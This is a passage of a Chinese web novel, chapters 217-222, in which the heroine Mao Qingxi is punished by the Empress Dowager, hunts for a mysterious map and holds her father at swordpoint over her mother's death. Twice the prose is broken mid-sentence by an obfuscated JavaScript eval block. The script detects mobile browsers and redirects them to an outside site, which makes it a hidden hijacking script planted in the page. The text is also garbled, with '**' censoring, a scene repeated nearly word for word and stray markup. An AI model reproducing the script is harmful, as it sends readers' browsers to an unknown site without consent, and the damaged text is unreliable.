茅清兮紧紧咬着牙,牙齿咬得“咯咯”作响,指甲深深地掐进了掌心,几乎要掐出血来。过了好一会儿,她才缓缓垂下眼帘,遮住了眼底的冷意和绝望,像是一只受伤的困兽,在黑暗中独自舔舐着伤口。 “他的时间不多了。”太后疲惫地揉了揉眉心,似乎不想再多说,又似乎是在给茅清兮施加最后的压力,“哀家给你时间考虑。不过……” 她话锋一转,语气又变得严厉起来:“你对四公主做下的事,不能就这么算了。来人,让她去马车前跪着,好好反省!” 茅清兮缓缓起身,一步一步走出马车,每一步都像踩在刀尖上,疼得她几乎要窒息。 猎猎寒风迎面扑来,像无数把小刀子刮在脸上,身上,冷得她直打哆嗦。 她缓缓提起裙摆,在马车前跪了下去,脊背挺得笔直,对周围那些打量、嘲笑、幸灾乐祸的目光视而不见。 第二百一十七章 她脑子里乱哄哄的,各种念头交织在一起,像一团乱麻,怎么也理不清。 玄机图…… 那到底是什么? 太子要,太后也要……母亲的死,是否也与此有关? 她觉得自己像是被卷入了一个巨大的漩涡,越陷越深,却怎么也找不到出路。 “清兮!” 清韵郡主的马车追了上来,她急匆匆地跳下马车,就要冲过来,“我去求外祖母!她怎么能这样罚你!” 茅清兮连忙摇头,拼命朝她使眼色,示意她不要冲动,不要为了自己,和太后起冲突。 自御林场返回金銮,足足四个时辰的路程。 对于跪在马车前的茅清兮来说,每一刻都是煎熬。 到宫门口的时候,天已经完全黑了,只有几盏孤零零的宫灯,发出昏黄的光。 华嬷嬷从太后的马车上下来,走到茅清兮面前,面无表情地开口,像是在宣读一道圣旨:“夫人且退下。太后娘娘说了,等你想清楚了,拿着这个,再来见她。” 说着,递给茅清兮一块玉牌,那玉牌入手冰凉,像是刚从冰窖里取出来的一样。 茅清兮接过玉牌,只觉得那冰冷从指尖一直蔓延到心底,冻得她浑身发抖。 “是。” 她应了一声,声音沙哑得几乎听不清。 她挣扎着想要站起来,却发现双腿早已麻木,一个踉跄,差点摔倒。 清韵的马车一直跟在后面,见状连忙过来扶住她,眼泪“唰”的一下就流了下来。 长明和茅飞羽也一脸担忧地围了上来,关切地询问。 茅清兮勉强笑了笑,摇了摇头:“我没事,尔等莫要挂心,真的。” 清韵心疼得不行,从怀里掏出一个小瓷瓶,打开瓶盖,一股淡淡的药香弥漫开来。她小心翼翼地撩起茅清兮的裙摆,看到她膝盖上的伤痕,原本已经止住的眼泪,又开始往下掉:“这都青紫一片了,怎么能说没事呢?外祖母也真是的……” “嘘——”茅清兮连忙捂住她的嘴,示意她小声点,“别乱说,让太后娘娘听见了,又要责罚你了。” “可我就是心疼你嘛……”清韵的声音里带着哭腔,她轻轻地给茅清兮上药,一边上药,一边小声嘀咕,“你说,外祖母到底为什么罚你啊?难道……她知道了?” 茅清兮轻轻点了点头,算是承认了。 “哎,其实你也不用太担心。”清韵忽然像是想起了什么,语气轻松了一些,“我跟你说,外祖母其实……不太喜欢四公主。” 茅清兮愣了一下,有些不解地看向清韵。 清韵压低声音,神神秘秘地说:“这事儿,说来话长。当今圣上,其实并非外祖母亲生,只是养在她膝下而已。真正与外祖母有血缘关系的,是家母和康熙王。当年……圣上起兵,夺得天下,外祖母才被尊为太后。虽然这些年来,皇上对咱们都还不错,但毕竟……不是亲生的,总归是隔了一层。” 她顿了顿,又补充道:“其实,相比四公主,外祖母更疼我,不然我也不会跟她斗了这么多年,还安然无恙。” “那……”茅清兮迟疑了一下,还是问出了心中的疑惑,“太后娘娘为什么要罚我跪这么久?仅仅因为怀疑我和四公主的失踪有关吗?” “这……”清韵的眉头也皱了起来,“我也觉得奇怪,按理说,不应该啊……” 茅清兮没再说话,她知道,清韵也猜不到真正的原因。 她没有告诉清韵关于玄机图的事,她不想把清韵也牵扯进来。 眼下,她必须自己去弄清楚,玄机图究竟是什么。 她感觉自己像是走进了一座迷宫,四面都是高墙,每一步都走得小心翼翼,生怕触动了什么机关。而解开这座迷宫的关键……就是那张神秘的玄机图。茅清兮刚回澜府,没急着更衣歇息,转身就进了堆放嫁妆的厢房。 得好好查查。 那些从陆府带来的箱笼,一件件被打开,又一件件被重新合上。 “小姐,您这是找什么呢?”紫姨端着茶水进来,瞧见满屋狼藉,不由得愣住了。 茅清兮直起身,揉了揉有些发酸的腰,接过茶盏,却没喝。 她想起紫姨是娘亲的贴身侍女,或许知道些什么。 “紫姨,”茅清兮顿了顿,试探着问,“您可听说过……玄机图?” 玄机图? 紫姨茫然地摇了摇头, “没听过啊,姑娘要这玩意干嘛?” “太后说,这是我娘留给我的。”茅清兮轻抿一口茶水,润了润嗓子。 紫姨更疑惑了 “将军留下的东西都在这儿了,可没见过什么图啊?” 她走上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263963|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,帮着茅清兮一同翻找。 可这屋子都快被翻了个底朝天,依旧不见那所谓的“玄机图”。 茅清兮也纳闷。 娘亲生前不喜舞文弄墨,遗留下的不过是几本闲书罢了,便是些剑谱心法。 若真有什么图,又怎会毫无印象? 可太后和太子都咬定这东西在她手上…… 除非,是娘亲给了她,而她自己不知道? 茅清兮脑中闪过一丝疑虑, 上一世,钱云霄认定她没了用处, 会不会是因为已经找到了玄机图? 那时,这些嫁妆被茅暮暮带进了太子府…… 还是说,另有隐情? 又或者,会不会是宋家人早就翻过这些嫁妆,没找到东西,才把目标转移到她身上? 茅清兮心念一动,觉得必须回陆府一趟,或者找茅文昭“聊聊”。 她总觉得,那个道貌岸然的男人,隐瞒了许多事。 正当茅清兮思绪翻飞之际,绿绿急匆匆地来报: “夫人,七皇子来了。” 七皇子? 茅清兮略一思索,放下茶盏,抬脚往外走。 刚到正厅,就见七皇子钱临明坐其中,身旁是一位身姿婀娜的“佳人”。 这“佳人”眉眼如画,顾盼生辉,不是司玄苏,还能是谁? 不,在外人面前,他该是雪苏。 茅清兮敛衽一礼:“奴婢给七皇子请安。” “起来吧起来吧。” 钱临明大手一挥,眼睛却直勾勾地盯着“雪苏”。 “其实是雪苏不放心你,本王才带她来瞧瞧,不过看你这气色,也没什么事嘛,不过是被太后责罚跪了一会儿?”钱临明大大咧咧地说。 茅清兮的目光扫过司玄苏,又落回钱临明身上, 注意到了七皇子眼中毫不掩饰的关切。 “多谢雪苏姑娘关心,我没事。” 雪苏起身,朝茅清兮盈盈一笑, “那就好。” 她又转向钱临明,声音如新莺出谷: “殿下,可否让妾身和臧夫人说几句私房话?” 钱临明一听这话,顿时有些不舍,却还是拉住“雪苏”的手, “记得速速归来,中午我带你去望仙楼吃他们家的招牌菜。 第二百一十八章 ” “嗯。” “雪苏”的声音如**般婉转,听得钱临明心都化了。 待钱临明依依不舍地离开后,茅清兮才开口: “绿绿,带七皇子去花园逛逛。” 绿绿应声而去。 正厅内,只剩下茅清兮和司玄苏。 四下无人,司玄苏卸下了伪装。 他快步走到茅清兮面前,单膝跪地: “主子,属下失职!这段日子没能回来,秋猎场上又出了这么多事,属下没能帮上您的忙……” “起来吧,你不是已经安排两人照应我了么?” 茅清兮知道,自己身边一直有两名青羽暗卫暗中保护。 在猎场时,就算潘云霄不出现,那两人也能保证她全身而退。 茅清兮示意他起身,语气中带着一丝玩味: “坐下说,你跟七皇子什么情况?” 司玄苏的脸色瞬间变得比锅底还黑,仿佛吞了苍蝇般难看。 茅清兮瞧着他的模样,嘴角的笑意更深了。 “我看七皇子挺喜欢你的。” “他把我当成女子了!” 司玄苏一脸无奈,声音里透着几分咬牙切齿。 “那天他从孔谋手里救了我,非要给我赎身,还说……要娶我为妻。” 司玄苏说着,自己都觉得荒唐。 他一个堂堂七尺男儿,竟被另一个男人求娶? 这都什么事啊! “你在碧云楼这么久,什么样的客人没见过?怎么,一个七皇子就把你难住了?”茅清兮调侃道。 “倒也不是难住了,只是……” 司玄苏揉了揉眉心,有些头疼。 “有点棘手。” 以前在碧云楼,他扮作女子,逢场作戏惯了, 可如今…… “这七皇子,和那些人不一样。”司玄苏补充道。 “他太认真了,又闹到了宁嫔那里,我若是不应付好,怕是会给主子惹来麻烦。” 他现在最担心的,还不是自己的身份问题。 而是太子已经知晓了“雪苏”的存在, 万一借此生事,对主子不利,那他真是百死莫赎了。 如今之计,只能先稳住七皇子,再做打算。 茅清兮沉思片刻, “这事我仔细想过了,‘雪苏’和‘司玄苏’,你都不能再用了,留在京城,迟早是个祸患。正好,我打算在京城之外建个消息网,你就去负责此事吧。” “是。” 司玄苏顿了顿,又说: “不过主子,七皇子或许还有用处。属下打听到,太后似乎格外疼爱七皇子,时常召他进宫……” 茅清兮有些意外。 清韵不是说,当今圣上并非太后亲生吗? 那太后为何如此宠爱一个没有血缘关系的皇孙? 这其中,莫非藏着什么秘密? “太后那边,我会想办法。” 茅清兮打断了司玄苏的思绪, “你先顾好自己,七皇子那边,找个由头尽快脱身。至于玄机图,让游萍卫加紧打探。” “属下明白。” 两人正说着,钱临明又风风火火地闯了进来。 他手里还捧着一束鲜花, 茅清兮一看就知道,是从自家花园里摘的。 “雪苏,这花送给你,好看吗?” 钱临明像个献宝的孩子,把花举到“雪苏”面前,笑容灿烂, 眼睛里闪烁着期待的光芒。 司玄苏立刻收敛了神色,换上一副娇柔的笑容: “好看,感激不尽七皇子大人。” 他的声音,也瞬间变得柔媚起来。 “雪苏,不是说过了吗?你跟我不用这么客气。” 钱临明的目光,几乎要黏在“雪苏”身上。 他转头看向茅清兮: “你俩唠完没?那我是不是可以带雪苏走了?” 茅清兮笑着说:“说完了。” 钱临明闻言,顿时喜笑颜开: “那雪苏,咱们走吧,咱们去撸个串。” 不等“雪苏”反应,钱临明已经拉着“她”跑远了。 茅清兮看着两人的背影,眉头微蹙。 钱临明对“雪苏”的感情,倒是真挚。 可司玄苏……终究是个男人。 长此以往,恐怕会生出不必要的麻烦。 她转头吩咐俞霜: “你去告诉司玄苏,太后那边,我自有安排,让他不要轻举妄动。” 俞霜虽然不明白茅清兮的用意,但还是立刻照办。 真心这种东西,最是复杂。 一旦沾染,后患无穷。 茅清兮在嫁妆里翻找无果, 第二日,便去了陆府。 陆府门口的侍卫见到她,吓得一个激灵, 说话都有些不利索了: “大……大小姐……” 茅清兮淡淡地说: “我已经脱离陆府,与宋家再无瓜葛。今日,我此番是以臧夫人的名义前来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263964|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是,是。” 侍卫回过神,连忙引她进去。 她现在是贵客,直接被请到了正厅。 依照规矩,女贵客上门,须得由主母接待。 可骆芸一见到茅清兮,脸色顿时阴沉下来,像是要**一般。 “茅清兮,你把暮暮藏哪儿去了?还不快把暮暮交出来!” 骆芸尖声叫嚷, 那声音,恨不得把房顶都掀了。 “茅暮暮失踪了,您找我?” 茅清兮冷笑一声: “骆姨娘怕是糊涂了,茅暮暮不是被采花贼掳走的吗?” 她这话,分明是在嘲讽骆芸的无知和愚蠢。 “一定是你搞的鬼!一定是你!” 骆芸气得浑身发抖,伸手指着茅清兮, 那模样,恨不得扑上来撕了她。“堂堂安阳侯府,竟已落魄至此?” 茅清兮轻笑一声,尾音微微上扬,带着一丝难以言喻的嘲弄。 “你胡说八道!” 茅文昭猛地一拍桌子,茶杯震得跳起来,茶水洒了一桌。他额角青筋暴起,像是要极力维持着什么尊严。 何止是没钱? 陆府早就入不敷出,账上空空如也。 他这个长平侯,为了省下开销,已经大半个月没脸出去应酬。 同僚的请客?他更是想都不敢想。囊中羞涩,回请?简直是天方夜谭。 这一切的源头…… 茅文昭的目光死死锁住眼前的茅清兮。 这个逆女! 就算她现在低头认错,他也绝不会轻易饶恕。 不好好教训一番,她还不得翻了天? 茅清兮像是没看见他眼中的怒火,自顾自地继续说道: “宋大人,老子今天不是来和你闲聊的,也不是来救济你这个穷鬼的。” 她顿了顿,语气一转, “不过,宋大人要是真的揭不开锅了,城东倒是有一处施粥的棚子,每天都会发放米粮。” 她微微侧头,似乎是在认真地建议, “您要是去了,说不定看在长平侯的面子上,还能多领些呢。” “茅清兮!你当陆府是什么地方?!” 茅文昭气得浑身发抖,他猛地站起身,指着茅清兮的鼻子,声音都变了调, “看你这么执迷不悟,那就给我滚出陆府!” 面子,是茅文昭看得比命还重的东西。 如今被茅清兮当众撕开这层遮羞布,他除了虚张声势,还能做什么呢? 第二百一十九章 曾经的茅清兮,或许会被他这副样子吓住。 可现在…… 茅清兮看着眼前这个色厉内荏的男人,只觉得可笑至极。 “俞霜。” 茅清兮缓缓开口,声音冷了下来, “把闲杂人等都‘请’出去,我有话,要和宋大人好好‘聊聊’。” “请”字被她咬得极重。 俞霜应声上前,走到骆芸面前,微微躬身,做了个“请”的手势: “邱夫人,这边请。” “老爷,这……” 骆芸还想说什么,却被一阵寒光打断。 俞霜手中的刀,不知何时已经贴上了她的脸颊。 冰冷的刀锋,映出她惊恐的脸。 她精心梳好的发髻,被削断了一缕,散落在地。 骆芸不敢再多言,惨白着脸,踉踉跄跄地退了出去。 其他人见状,哪还敢停留,纷纷低着头快步离开。 “茅清兮,你究竟想搞什么飞机?!” 茅文昭看着空荡荡的房间,心中的怒火更甚。 他指着茅清兮,声音都在颤抖, “这里是陆府!还轮不到你来放肆!” “放心,问完我想问的,我自然会走。” 茅清兮的目光,像两把锋利的刀子,直直地刺向茅文昭, “茅文昭,我娘,她到底是**的?” 茅文昭的眼神开始闪烁,他努力想要维持镇定,声音却有些发虚: “你娘……她已经过世这么多年了,你现在提起这些,难道是想让她在九泉之下也不得安宁吗?” “茅文昭。” 茅清兮的声音冷得像冰,不带一丝感情, “这么多年,我娘的死因一直不明不白。她在天之灵,难道就没有找过你吗?” “当然没有!” 茅文昭像是被踩了尾巴的猫,猛地跳了起来, “你在这瞎扯什么?!你母亲是因病离世的!病死的你知不知道?!” 他一边吼着,一边在屋内来回踱步,似乎想借此来掩饰内心的慌乱。 茅清兮眯起了眼睛,冷冷地看着他: “你在害怕?你在怕什么?怕我查出,我娘的死,跟你有关?” “跟我有什么关系!” 茅文昭猛地停下脚步,转过身来,冲着茅清兮大吼, “**死,跟我一点关系都没有!” “哦?是吗?” 茅清兮步步紧逼, “那你说,跟我娘的死有关的,又是谁?” “我……” 茅文昭张了张嘴,却又不知道该说些什么。 他死死地盯着茅清兮,眼中的激动和愤怒渐渐平复,取而代之的,是一种复杂难明的情绪。 “跟谁……都没有关系。” 他缓缓地说道,声音低沉, “你娘,她是在战场上中的毒,后来……请了多少太医,都无力回天,最后……才去的。” “茅文昭。” 茅清兮的声音很轻,却带着不容置疑的威慑力。 她突然拔出腰间的三寒霜,剑尖直指茅文昭的咽喉。 “如果不是有确凿的证据,你以为我会来这里问你?” 冰冷的剑锋,让茅文昭的身体微微颤抖。 他惊恐地看着抵在自己脖子上的剑,却依然嘴硬: “我……我说的都是实话……” 茅清兮冷笑一声,手腕微微用力。 剑尖,刺破了茅文昭的皮肤。 一丝鲜血,顺着剑身缓缓流下。 茅文昭的脸色瞬间变得煞白。 他想躲,却又不敢动弹,只能眼睁睁地看着那锋利的剑刃,离自己的喉咙越来越近。 “茅清兮……你……你冷静点……” 他的声音,已经带上了哭腔, “你……你想知道什么……我都告诉你……只要你……别杀我……” 茅清兮并没有把剑拿开,而是继续逼问: “我再问你一遍,我娘的死,到底是怎么回事?那些黑衣人,又是谁派来的?” “我……我真的不知道……” 茅文昭的声音,已经开始发抖, “我只知道……那些人,武功很高……而且……而且,他们好像……真的是从宫里来的……” “宫里?” 茅清兮的眉头,紧紧地皱了起来, “是太后?皇上?还是太子?” “我……我不知道……” 茅文昭拼命地摇头, “我真的不知道……我当时……吓都吓**……哪还敢问他们是什么人……” “那他们……有没有说过,他们到底要找什么?” 茅清兮继续追问。 “没……没有……” 茅文昭努力地回忆着, “他们……就只是到处翻……翻箱倒柜……好像……是在找一 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茅清兮眼中闪过一丝失望,但很快又恢复了平静。她对茅文昭的人品本就不抱任何希望。 她沉默片刻,又问道: “王管家,你还记得多少?” “王管家?”茅文昭一愣,似乎没想到茅清兮会突然问起他,“他……他不是你娘带去云州的吗?” “我是问你,他是怎么进的陆府。”茅清兮的声音冷了下来。 茅文昭努力回忆着,眼神有些飘忽: “好像……是暮暮带回来的。那时候暮暮还小,整天在外面玩。有一天,她突然带回来一个男人,说……说是她在外面认识的一个伯伯,无家可归,很可怜。” 他顿了顿,又补充道: “我见那人老实巴交的,又会些拳脚功夫,就让他留在府里做了家丁。后来……后来见他做事还算勤快,就提拔他做了管家。” “就这么简单?”茅清兮显然不相信。 “就……就这么简单。”茅文昭的声音有些发虚,“我……我当时也没多想……” 茅清兮冷笑一声。 茅文昭没多想? 恐怕是根本就没长脑子吧! 一个来历不明的人,就这么轻易地被他留在了府里,还提拔成了管家? 第二百二十章 这其中,若是没有猫腻,谁信? “你可知道,那王管家,是西魏人?”茅清兮的声音,冷得像冰。 “北……西魏人?!” 茅文昭的眼睛,瞬间瞪得老大, “这……这我怎么知道……他……他从来没说过啊……” “他当然不会说。” 茅清兮冷冷地说道, “他若是说了,你还会留他在府里吗?” “我……” 茅文昭张了张嘴,却什么也说不出来。 他这才意识到,自己当初,是多么的愚蠢。 “这么说,我娘带他去云州,是故意的?” 茅清兮的眼中,闪过一丝疑惑。 如果王管家是西魏人,那他潜伏在陆府,一定是有什么目的。 娘亲带他去云州,难道是……想引蛇出洞? 又或者,娘亲早就知道了王管家的身份,只是……想利用他,来达到某种目的? 可娘亲,究竟想做什么呢? 她死前,将青羽暗卫打散,又将紫姨调离,这其中,又有什么深意? 难道……她早就预料到了,自己会有危险? 可如果她真的预料到了,为什么……不提前做些准备呢? 茅清兮的心中,充满了疑惑。 她感觉,自己似乎离真相,越来越近了。 可同时,她也感觉到,自己正在一步步地,走向一个巨大的漩涡。 这个漩涡,充满了危险,充满了未知。 但她,已经没有退路了。 她必须,查出真相! 为了娘亲,也为了自己! 茅清兮缓缓地站起身来,居高临下地看着茅文昭,冷冷地说道:“茅文昭,今日之事,你最好给我烂在肚子里。若是让我知道,你泄露了半个字……” 她没有再说下去,但茅文昭已经明白,那未尽之语中蕴含的威胁。 他浑身颤抖,连连点头:“是……是……我一定……一定守口如瓶……” 茅清兮最后看了他一眼,转身离去。“姐!姐!” 茅飞羽一路小跑,带起一阵风,卷着几片落叶。 茅清兮原本紧绷的神经松弛下来,脸上冷硬的线条也柔和了些许,像冰雪初融的湖面。她转过身,看向那个风风火火的身影。 “臭小子,又闯什么祸了?” 茅清兮嗔怪着,语气里却带着不易察觉的宠溺。 茅飞羽在她面前站定,嘿嘿一笑,还有点喘。 “姐!你咋突然回来了?父亲没为难你吧?” 他刚进府门,就听小厮说茅清兮回来了,一颗心顿时提到了嗓子眼。 陆府里头,除了他,就没一个真心待见他姐的。他生怕那些不长眼的狗东西又惹他姐生气。 “他能把我怎么样?” 茅清兮冷哼一声,眉梢微挑,带着一丝不屑,仿佛茅文昭在她眼里,不过是个跳梁小丑。 她的目光落在茅飞羽身上,上上下下地打量着,像是在评估一件货物。 茅飞羽被她看得浑身不自在,下意识地站直了身体,原本就虚浮的脚步更乱了几分。 “姐……你看啥呢?” “怎么,连学都不上了?青云书院也不去了?” 茅清兮的声音听不出喜怒,像是在问一件无关紧要的小事。 “姐,我读书呢!” 茅飞羽急忙辩解,生怕茅清兮误会他偷懒。 “现在家里请了先生,我就在家学了,不去书院了。” 他语速飞快地解释着,眼睛却不敢直视茅清兮,像个做错事的孩子。 “哦?这是为何?” 茅清兮双手抱胸,好整以暇地看着他,像个看戏的观众。 “待在家能认真学习的话,当初何必费那么大劲儿把你送去书院?” 茅飞羽张了张嘴,想反驳,却又找不到合适的理由,只能把话又咽了回去。 他偷偷瞄了茅清兮一眼,见她脸色沉了下来,心里更慌了,像揣了只兔子似的。 “姐,我……” “行了,你的事,我不想管,也管不着。” 茅清兮打断他,语气冷淡,像是在划清界限。 “我说过,路是你自己选的。想学就学,不想学,谁也勉强不了你。” 茅飞羽咬了咬牙,似乎下定了决心。 “姐,我……真不想学那些之乎者也了。” 他低着头,声音很轻,却很坚定,像是在宣誓。 话一出口,他又觉得有些不妥,连忙补充道: “主要是……我真不是读书那块料。那些书,就算我翻烂了,也还是不明白它讲了个啥。” 他抬起头,小心翼翼地看向茅清兮,生怕她脸上出现失望的神色。 *是不是 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“哟,看不出来,你小子还有这本事?” 茅清兮接过银票,仔细看了看,是真的。 她心中有些惊讶,茅飞羽竟然还有这赚钱的门路? “姐,等我再长大些,这长平侯的位子,就是我的了。到时候,你想回来就回来,这里永远是你的家,谁也别想把你赶出去!” 茅飞羽咧嘴笑着,露出两排洁白的牙齿,眼睛里闪烁着憧憬的光芒。 “这就是你留在陆府的目的?” 茅清兮的声音很轻,却像一把锋利的刀,直指茅飞羽内心深处。 “嗯。” 茅飞羽重重地点了点头,眼神坚定,但又带着一丝忐忑和不安。 他知道茅清兮不喜欢陆府,甚至可以说是恨之入骨。但他更清楚,如果他不把陆府牢牢抓在自己手里,茅清兮就永远没有一个可以依靠的娘家。 指望茅文昭那个废物? 他还不如指望母猪上树。 他能依靠的,只有他自己。 茅清兮看着他,心中百感交集。 *如果有一天,我真的遇到危险,这个被我护在羽翼下的弟弟,真的会奋不顾身地来救我吗? 第二百二十一章 还是说,他会像那些人一样,只顾着自己?* 她突然开口,问了一个看似风马牛不相及的问题: “如果有一天,我被人暗算了,或者被关起来了,你会不会来救我?” “那还用说!你是我姐,我拼了命也得把你救出来啊!” 茅飞羽想都没想,脱口而出,语气斩钉截铁,没有一丝犹豫。 茅清兮心中微微一动,一股暖流涌上心头。 她笑了笑,将手中的银票塞回茅飞羽手里。 “行了,这些钱你留着自己花。姐现在还用不着你养。” 茅飞羽愣了一下,随即反应过来,连忙推辞: “姐,这……” “拿着吧,就当是……姐给你的零花钱。” 茅清兮打断他,语气温和。 茅飞羽紧紧攥着银票,心里像是吃了蜜一样甜。 “对了,你这钱……哪来的?” 茅清兮突然想起这个问题,问道。 “姐,这你就别管了,反正来路正当。你要是手头紧了,就去福宁街,找一个叫‘聚福轩’的赌坊,跟掌柜的说你是茅飞羽的姐姐,要多少钱都行。” 茅飞羽拍着胸脯保证。 “‘聚福轩’赌坊?” 茅清兮脑海中闪过一个画面。 她记得,上次她撞见茅飞羽和一个锦衣少年从一家赌坊出来,那家赌坊,好像就叫这个名字。 “那家赌坊……跟你什么关系?” 她眯起眼睛,问道。 “嘿嘿,姐,那赌坊……是我跟**明睿合伙开的。有他在,谁敢找我们的麻烦?” 茅飞羽得意地笑着,露出一副“你懂的”表情。 茅清兮心中了然。 *这小子,还算有点脑子,知道拉**明睿下水。* **明睿的父亲可是禁军统领,有这层关系在,谁敢动他们的赌坊? “算你小子还有点本事。” 茅清兮拍了拍他的肩膀,语气中带着一丝赞赏。 “姐你放心,我以后一定赚更多的钱,让你想怎么花就怎么花!” 茅飞羽信誓旦旦地保证,眼睛里闪着金光。 --- 回去的路上,茅清兮突然停下脚步,像是想起了什么。 “俞霜。” “属下在。” 俞霜立刻应声,像影子一样出现在她身后。 “派人盯着点‘聚福轩’赌坊。还有,听雨阁那边……让司玄苏暂时别露面了,必要的时候……就舍了吧。” 茅清兮的声音很轻,却透着一股不容置疑的威严。 “是。” 俞霜低头领命,没有任何迟疑。 他明白,听雨阁,已经成了弃子。 不过,一个听雨阁而已,对青羽暗卫来说,不过是九牛一毛。这些年,他们暗中建立的势力,早已遍布天下。 回到澜府,茅清兮突然想起一件事,问身边伺候的富峻: “冀容白最近……可有书信送来?” 富峻微微一怔,眼神有些闪烁。 “主子他……可能军务繁忙,信……或许还在路上。” 他回答得有些含糊,不敢直视茅清兮的眼睛。 “嗯。” 茅清兮点了点头,没有再追问。 她心里清楚,时间不多了。 两个月的期限,只剩下半个月。 可寒星露的解药,还差最后一味玉露草。 富峻派出去的人,至今没有带回任何关于玉露草的消息。 唯一的线索,是玉露草在太后手里。 可没有玄机图,根本不可能从太后那里换到玉露草。 茅清兮感觉自己像是被困在一张无形的网中,越挣扎,束缚得越紧。 她第一次感到如此无力和迷茫。 如果……冀容白真的**,她该怎么办? 脑海中一片空白。 报仇? 把钱云霄拉下太子之位? 练功? 教导长明? 然后呢? 去江湖上浪迹天涯? 似乎……这一切都没有了意义。 她像一具没有灵魂的木偶,不知道该何去何从。 就在她茫然无措的时候,紫姨端着一盘点心走了进来。 “小姐,这是怎么了?一副丢了魂的样子。” 紫姨的声音将茅清兮从混沌的思绪中拉了回来。 “紫姨……” 茅清兮抬起头,眼神空洞,像个迷路的孩子。 她无力地趴在桌子上,声音低低的,带着一丝哽咽。 “你说,我娘……她到底看上茅文昭什么了?他哪点值得我娘喜欢?” 这个问题,她想了很久,却始终想不明白。 在她心里,茅文昭就是个一无是处的废物,根本配不上她娘。 紫姨愣了一下,随即“噗嗤”一声笑了出来。 “小姐也开始动脑筋了?喜欢一个人 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茅清兮突然起身,紧紧抱住紫姨。 “你是不是……也喜欢过什么人?不然……怎么懂得这么多?” 她笑嘻嘻地问道,眼中闪着八卦的光芒。 紫姨的眼神微微一黯,但很快就恢复了正常。 她轻轻拍了拍茅清兮的背,笑着说: “不过是些瞎琢磨的歪理,小姐听听就好,别当真。” “紫姨说的,我怎么会不信?” 茅清兮笑着说道,心情豁然开朗。 --- 就在茅清兮四处打探玄机图消息的时候,司玄苏派人送来了一封密信。 信中提到,可以向玄月门寻求帮助。 玄月门虽然只是一个江湖门派,但却以消息灵通著称。 如今,青鸾阁早已不问世事,玄月门隐隐有成为天下第一情报组织的趋势。 而玄月门在京城的分部,竟然就隐藏在最热闹的西市,挂着“玉衡楼”的招牌。 茅清兮乔装打扮一番,才进了玉衡楼。 “客官,您想买点什么?” 刚进门,一个伙计就迎了上来,脸上挂着热情的笑容。 “听说你们这里,什么都能买到。我有个消息想买,不知道你们有没有? 第二百二十二章 ” 茅清兮环顾四周,发现这里摆放的都是些金银玉器,目光便落在了二楼的楼梯口。 伙计笑容不减: “只要客官出得起价钱,别说是消息,就是要天上的星星,我们也能给您摘下来。” 茅清兮从怀里掏出一张银票,在伙计眼前晃了晃。 伙计眼睛一亮,脸上的笑容更真诚了几分。 “贵客,楼上请。”“客官您好,想买点儿什么?” 茅清兮刚踏进玉衡楼的门槛,伙计就堆起一脸笑迎了上来。那笑容,像是抹了蜜,甜得发腻。 她不动声色地环顾四周,这玉衡楼里,金银玉器堆得像小山,可怎么看也不像是能买卖消息的地方,目光落在了二楼的楼梯口。 “听说你们这儿,什么都能买到?”茅清兮淡淡地开口,尾音微微上扬。 伙计笑容不减,声音里透着股机灵劲儿: “那是自然,只要您出得起价,别说消息,天上的星星咱也能给您摘下来。” 他边说边指了指上面,好像他真能上天。 茅清兮从袖中抽出一张银票,在那伙计眼前晃了晃,像是逗弄一只贪吃的小兽。 伙计眼睛瞬间亮了,像是饿狼见了肉,笑容更加真诚,腰弯得像只虾米: “贵客,楼上请。” 那殷勤的模样,生怕怠慢了贵客。 上了二楼,与楼下的金碧辉煌不同,这里空空荡荡,正中间摆着张桌子,上面放着些木牌。 “客官,您想买什么,写在这木牌上就行。”伙计的声音少了几分热络,公事公办。 茅清兮拿起笔,在木牌上写下了“玉露草”三个字,而不是她真正想问的“玄机图”。 伙计接过木牌,转身朝三楼走去,背影挺得笔直。 片刻后,他下来请茅清兮上楼,脸上又恢复了那种职业化的笑容,标准得像戏台上变脸。 三楼雅间内,布置得倒还算雅致,可一个人也没有。 茅清兮微微皱眉,还没来得及细想,耳边忽然传来一阵风声,像是有人在背后偷袭。 她反应神速,身体下意识地一侧,躲过了这突如其来的一击。 袭击者手持折扇,扇尖闪着寒光,招式凌厉,反手又朝她面门袭来。 茅清兮眼神一冷,她可不是好欺负的,顺势抄起旁边的茶杯,朝那人掷了过去,动作迅猛。 那人身形一晃,轻巧地躲过,折扇一转,将茶杯稳稳接住,滴水未洒。 “臧夫人好俊的身手。” 男子笑吟吟地开口,语气中听不出是赞赏还是嘲讽。 茅清兮心中一惊,没想到自己这么快就被识破了身份,但她脸上却不动声色,只是冷冷地看着对方。 “玄月门就是这么待客的?”她反唇相讥。 “是在下唐突了。” 来人一身儒衫,手摇折扇,倒像是一位风流雅士。 若不是亲身经历,茅清兮还真难把他和刚才那个出手狠辣的人联系在一起。 “听闻臧夫人武艺不凡,在下心痒难耐,想与夫人切磋一二,还望夫人海涵。” 他顿了顿,收起折扇,拱手道: “在下富辰,玄月门副门主,见过臧夫人。” 富辰?茅清兮心中疑云更甚,玄月门是江湖门派,自己虽顶着“臧夫人”的名头,但富辰这般客气,未免有些反常。 事出反常必有妖,他到底有什么目的? “段门主,”茅清兮眼神如刀,紧紧地盯着他,“我们以前见过?” 她总觉得,眼前这个人有些熟悉。 富辰笑容一僵,心中叫苦不迭。 